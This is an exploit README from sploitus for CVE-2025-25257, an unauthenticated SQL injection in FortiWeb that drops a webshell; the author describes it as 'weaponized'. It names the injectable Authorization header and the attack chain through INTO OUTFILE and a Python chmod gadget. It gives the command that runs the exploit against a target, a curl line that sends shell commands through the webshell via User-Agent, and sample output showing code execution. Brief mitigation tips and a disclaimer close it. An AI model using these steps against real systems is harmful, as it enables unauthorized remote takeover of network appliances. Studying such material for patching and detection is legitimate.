## https://sploitus.com/exploit?id=F541C7D8-3981-561F-9487-B48955D4024E
🚨 CVE-2025-25257 – FortiWeb SQLi to RCE
Critical SQL Injection → Webshell Execution
Discovered and weaponized by 0xgh057r3c0n
---
## 🧠 Vulnerability Overview
`CVE-2025-25257` affects FortiWeb systems exposing the endpoint `/api/fabric/device/status`, which fails to properly sanitize `Authorization` header input.
> An attacker can perform unauthenticated SQL injection to write a webshell on the server and execute commands remotely.
---
## 💥 Attack Flow
```text
SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE
````
---
## 📍 Vulnerable Endpoint
```
GET /api/fabric/device/status
Header: Authorization: Bearer ';
```
---
## 🔓 Exploit Features
* SQLi via Bearer token
* SQL `INTO OUTFILE` to drop shell
* Python hook triggers chmod
* Commands executed via User-Agent
* Fully automated PoC
---
## 🧪 Usage
```bash
python3 CVE-2025-25257.py -t https://target-host.com
```
Then:
```bash
curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi
```
---
## 🔧 Requirements
* Python 3.6+
* `requests` module
Install:
```bash
pip install requests
```
---
## 📤 Sample Output
```text
[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)
[+] Webshell Ready:
> https://target-host.com/cgi-bin/x.cgi
> Send commands via User-Agent header
```
---
## 📊 CVSS Estimate
| Metric | Value |
| ------------------- | -------------- |
| Base Score | 9.8 (CRITICAL) |
| Attack Vector | Network |
| Privileges Required | None |
| User Interaction | None |
| Impact | High (C/I/A) |
---
## 🛡️ Mitigation
* Update FortiWeb firmware (if patch available)
* Sanitize all header inputs
* Restrict file write paths and CGI execution
---
## 👨💻 Author
**0xgh057r3c0n**
🔗 [github.com/0xgh057r3c0n](https://github.com/0xgh057r3c0n)
---
## ⚠️ Disclaimer
This proof-of-concept is for **educational and authorized testing** only.
Use at your own risk. The author is not responsible for misuse.
---